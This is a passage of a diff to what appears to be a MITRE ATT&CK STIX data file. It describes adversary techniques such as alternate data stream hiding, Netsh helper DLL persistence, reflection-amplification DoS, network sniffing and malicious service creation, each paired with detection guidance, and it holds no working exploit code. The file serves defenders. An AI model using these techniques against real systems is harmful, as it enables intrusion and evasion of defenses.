"kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1079", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1079" + }, + { + "source_name": "SANS Decrypting SSL", + "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", + "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840" + }, + { + "source_name": "SEI SSL Inspection Risks", + "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", + "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" + }, + { + "source_name": "Fidelis DarkComet", + "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-18T16:29:29.181Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Kernel drivers", + "API monitoring", + "Process command-line parameters" + ], + "type": "attack-pattern", + "name": "NTFS File Attributes", + "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", + "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "modified": "2019-06-25T12:17:31.157Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "NTFS partitioned hard drive" + ], + "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Red Canary", + "Oddvar Moe, @oddvarmoe" + ], + "created": "2017-05-31T21:31:11.147Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1096", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1096" + }, + { + "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.", + "source_name": "SpectorOps Host-Based Jul 2017", + "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea" + }, + { + "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.", + "source_name": "Microsoft NTFS File Attributes Aug 2010", + "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/" + }, + { + "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.", + "source_name": "Microsoft File Streams", + "url": "http://msdn.microsoft.com/en-us/library/aa364404" + }, + { + "source_name": "MalwareBytes ADS July 2015", + "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", + "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/" + }, + { + "source_name": "Microsoft ADS Mar 2014", + "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/" + }, + { + "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.", + "source_name": "Journey into IR ZeroAccess NTFS EA", + "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html" + }, + { + "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.", + "source_name": "Oddvar Moe ADS1 Jan 2018", + "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/" + }, + { + "source_name": "Oddvar Moe ADS2 Apr 2018", + "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", + "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/" + }, + { + "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", + "source_name": "Symantec ADS May 2009", + "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" + } + ], + "x_mitre_defense_bypassed": [ + "Signature-based detection", + "Host forensic analysis", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Netsh Helper DLL", + "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)", + "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "[netsh](https://attack.mitre.org/software/S0108)" + ], + "type": "attack-pattern", + "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "created": "2017-05-31T21:31:40.168Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1128", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1128" + }, + { + "source_name": "TechNet Netsh", + "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", + "url": "https://technet.microsoft.com/library/bb490939.aspx" + }, + { + "source_name": "Demaske Netsh Persistence", + "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.", + "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html" + }, + { + "source_name": "Github Netsh Helper CS Beacon", + "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.", + "url": "https://github.com/outflankbv/NetshHelperBeacon" + } + ], + "modified": "2019-04-29T20:48:01.254Z" + }, + { + "x_mitre_data_sources": [ + "Sensor health and status", + "Network protocol analysis", + "Netflow/Enclave netflow", + "Network intrusion detection system", + "Network device logs" + ], + "name": "Network Denial of Service", + "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). Many different methods to accomplish such network saturation have been observed, but most fall into two main categories: Direct Network Floods and Reflection Amplification.\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).\n\n###Direct Network Flood###\n\nDirect Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for Direct Network Floods. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\n###Reflection Amplification###\n\nAdversaries may amplify the volume of their attack traffic by using Reflection. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", + "id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_detection": "Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T20:23:15.105Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1498", + "url": "https://attack.mitre.org/techniques/T1498" + }, + { + "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019.", + "source_name": "FireEye OpPoisonedHandover February 2016", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html" + }, + { + "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.", + "source_name": "FSISAC FraudNetDoS September 2012", + "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf" + }, + { + "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.", + "source_name": "Symantec DDoS October 2014", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf" + }, + { + "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.", + "source_name": "USNYAG IranianBotnet March 2016", + "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged" + }, + { + "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.", + "source_name": "Cloudflare ReflectionDoS May 2017", + "url": "https://blog.cloudflare.com/reflections-on-reflections/" + }, + { + "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.", + "source_name": "Cloudflare DNSamplficationDoS", + "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/" + }, + { + "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.", + "source_name": "Cloudflare NTPamplifciationDoS", + "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/" + }, + { + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "source_name": "Arbor AnnualDoSreport Jan 2018", + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf" + }, + { + "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.", + "source_name": "Cloudflare Memcrashed Feb 2018", + "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/" + }, + { + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "source_name": "Cisco DoSdetectNetflow", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + } + ], + "modified": "2019-07-18T16:33:41.678Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_data_sources": [ + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "Process command-line parameters", + "Process use of network" + ], + "name": "Network Service Scanning", + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts or cloud services enabled within the environment. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems.", + "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2017-05-31T21:30:43.915Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1046", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1046" + }, + { + "source_name": "capec", + "external_id": "CAPEC-300", + "url": "https://capec.mitre.org/data/definitions/300.html" + } + ], + "modified": "2019-10-23T14:20:49.573Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Packet capture", + "Authentication logs" + ], + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "name": "Network Share Connection Removal", + "description": "Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.", + "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Established network share connection to a remote system. Level of access depends on permissions of the account used." + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:38.350Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1126", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1126" + }, + { + "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", + "source_name": "Technet Net Use", + "url": "https://technet.microsoft.com/bb490717.aspx" + } + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ] + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Network protocol analysis", + "Process use of network" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Network Share Discovery", + "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n### Windows\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\n[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n### Mac\n\nOn Mac, locally mounted shares can be viewed with the df -aH command.\n\n### Cloud\n\nCloud virtual networks may contain remote network shares or file storage services accessible to an adversary after they have obtained access to a system. For example, AWS, GCP, and Azure support creation of Network File System (NFS) shares and Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File servers on Compute Engine)", + "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "x_mitre_platforms": [ + "macOS", + "Windows", + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be sufficient due to benign use during normal operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1135", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1135" + }, + { + "source_name": "capec", + "external_id": "CAPEC-643", + "url": "https://capec.mitre.org/data/definitions/643.html" + }, + { + "source_name": "Wikipedia Shared Resource", + "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.", + "url": "https://en.wikipedia.org/wiki/Shared_resource" + }, + { + "source_name": "TechNet Shared Folder", + "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.", + "url": "https://technet.microsoft.com/library/cc770880.aspx" + }, + { + "description": "Amazon. (n.d.). Creating an NFS File Share. Retrieved October 23, 2019.", + "source_name": "Amazon Creating an NFS File Share", + "url": "https://docs.aws.amazon.com/storagegateway/latest/userguide/CreatingAnNFSFileShare.html" + }, + { + "description": "Google Cloud. (2019, October 10). File servers on Compute Engine. Retrieved October 23, 2019.", + "source_name": "Google File servers on Compute Engine", + "url": "https://cloud.google.com/solutions/filers-on-compute-engine" + } + ], + "modified": "2019-10-23T14:34:08.075Z" + }, + { + "x_mitre_data_sources": [ + "Network device logs", + "Host network interface", + "Netflow/Enclave netflow", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Network Sniffing", + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.", + "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Network interface access and packet capture driver" + ], + "type": "attack-pattern", + "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:41.399Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1040", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1040" + }, + { + "source_name": "capec", + "external_id": "CAPEC-158", + "url": "https://capec.mitre.org/data/definitions/158.html" + } + ], + "modified": "2019-07-18T16:42:21.548Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "name": "New Service", + "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).", + "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Pedro Harrison" + ], + "created": "2017-05-31T21:30:45.613Z", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1050", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1050" + }, + { + "source_name": "capec", + "external_id": "CAPEC-550", + "url": "https://capec.mitre.org/data/definitions/550.html" + }, + { + "source_name": "TechNet Services", + "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx" + }, + { + "source_name": "Microsoft 4697 APR 2017", + "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697" + }, + { + "source_name": "Microsoft Windows Event Forwarding FEB 2018", + "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection" + }, + { + "source_name": "TechNet 